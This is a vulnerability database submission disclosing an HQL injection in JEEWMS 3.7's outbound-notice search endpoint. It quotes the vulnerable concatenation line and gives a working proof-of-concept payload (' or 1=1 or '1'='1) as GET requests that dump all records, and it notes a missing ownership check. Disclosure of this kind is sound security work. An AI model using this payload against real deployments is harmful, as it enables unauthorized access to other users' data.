| 제목 | erzhongxmu JEEWMS 3.7 SQL Injection |
|---|
| 설명 | JEEWMS v3.7 WvGiNoticeController /search (出货通知/outbound notice PDA interface) concatenates user-supplied searchstr parameters directly into HQL queries without parameterization, allowing authenticated attackers to alter query logic and access all data records.
Vulnerable code (WvGiNoticeController.lists, line 102):
hql = hql + " and omNoticeId like '%" + searchstr + "%'" + " or imCusCode like '%" + searchstr + "%'";
A request with searchstr=' or 1=1 or '1'='1 returns ALL wv_gi_notice rows instead of the filtered set (verified live: normal request with searchstr=OM001 returns 1 record, injected request returns all 3 records in the response JSON "obj" array).
Additionally, the username parameter is only compared against the assignTo field when it is not empty, so any authenticated low-privilege user can enumerate records that do not belong to them.
PoC:
GET /wvGiNoticeController/search.do?username=test&searchstr=' or 1=1 or '1'='1 -> all records returned in "obj"
GET /wvGiNoticeController/search.do?username=test&searchstr=OM001 -> only matching record
Vulnerable code: src/main/java/com/zzjee/wmapi/controller/WvGiNoticeController.java:102 |
|---|
| 원천 | ⚠️ https://github.com/erzhongxmu/JEEWMS |
|---|
| 사용자 | Lib0gus (UID 101005) |
|---|
| 제출 | 2026. 09. 04. AM 11:28 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 10. 11. AM 09:59 (1 month later) |
|---|
| 상태 | 중복 |
|---|
| VulDB 항목 | 959609 |
|---|
| 포인트들 | 0 |
|---|